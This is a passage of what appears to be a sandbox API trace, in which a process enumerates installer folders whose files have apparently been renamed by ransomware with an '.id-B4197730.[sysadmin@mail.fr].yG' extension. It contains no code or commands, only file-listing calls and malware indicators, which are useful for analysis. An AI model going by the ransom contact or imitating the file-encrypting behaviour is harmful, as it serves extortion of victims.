	[0178.746] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985a669b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985a669b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985f2b26, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.746] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985a669b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985a669b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985f2b26, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.746] FindClose (in: hFindFile=0x3cf0fe8 | out: hFindFile=0x3cf0fe8) returned 1
	[0178.747] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.747] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1035", cAlternateFileName="")) returned 1
	[0178.747] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.747] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0ea8
	[0178.749] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.749] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f0a5b3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f0a5b3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98f7c1e6, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.749] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f55f6f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f55f6f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9903add6, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.749] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985cc8e8, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985cc8e8, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.749] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985cc8e8, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985cc8e8, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.749] FindClose (in: hFindFile=0x3cf0ea8 | out: hFindFile=0x3cf0ea8) returned 1
	[0178.750] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.750] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1036", cAlternateFileName="")) returned 1
	[0178.750] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.750] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0a28
	[0178.752] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.752] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f7c1e6, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f7c1e6, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fee8f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.752] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98fa2446, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98fa2446, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99014bb0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.752] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.752] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.752] FindClose (in: hFindFile=0x3cf0a28 | out: hFindFile=0x3cf0a28) returned 1
	[0178.753] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.753] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1037", cAlternateFileName="")) returned 1
	[0178.753] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.753] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0e28
	[0178.754] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.755] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99014bb0, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99014bb0, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x990871f5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.755] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9916c0d9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.755] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.755] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.755] FindClose (in: hFindFile=0x3cf0e28 | out: hFindFile=0x3cf0e28) returned 1
	[0178.756] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.756] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1038", cAlternateFileName="")) returned 1
	[0178.756] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.756] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf09a8
	[0178.780] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.780] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990611c6, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990611c6, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9919231b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.780] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9919231b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.780] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.781] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.781] FindClose (in: hFindFile=0x3cf09a8 | out: hFindFile=0x3cf09a8) returned 1
	[0178.781] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.781] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1040", cAlternateFileName="")) returned 1
	[0178.782] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.782] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0f28
	[0178.945] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.945] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9922acae, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.945] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9927717e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.945] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.945] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.946] FindClose (in: hFindFile=0x3cf0f28 | out: hFindFile=0x3cf0f28) returned 1
	[0178.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.946] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1041", cAlternateFileName="")) returned 1
	[0178.946] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.947] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf08e8
	[0178.947] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.948] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9920498c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
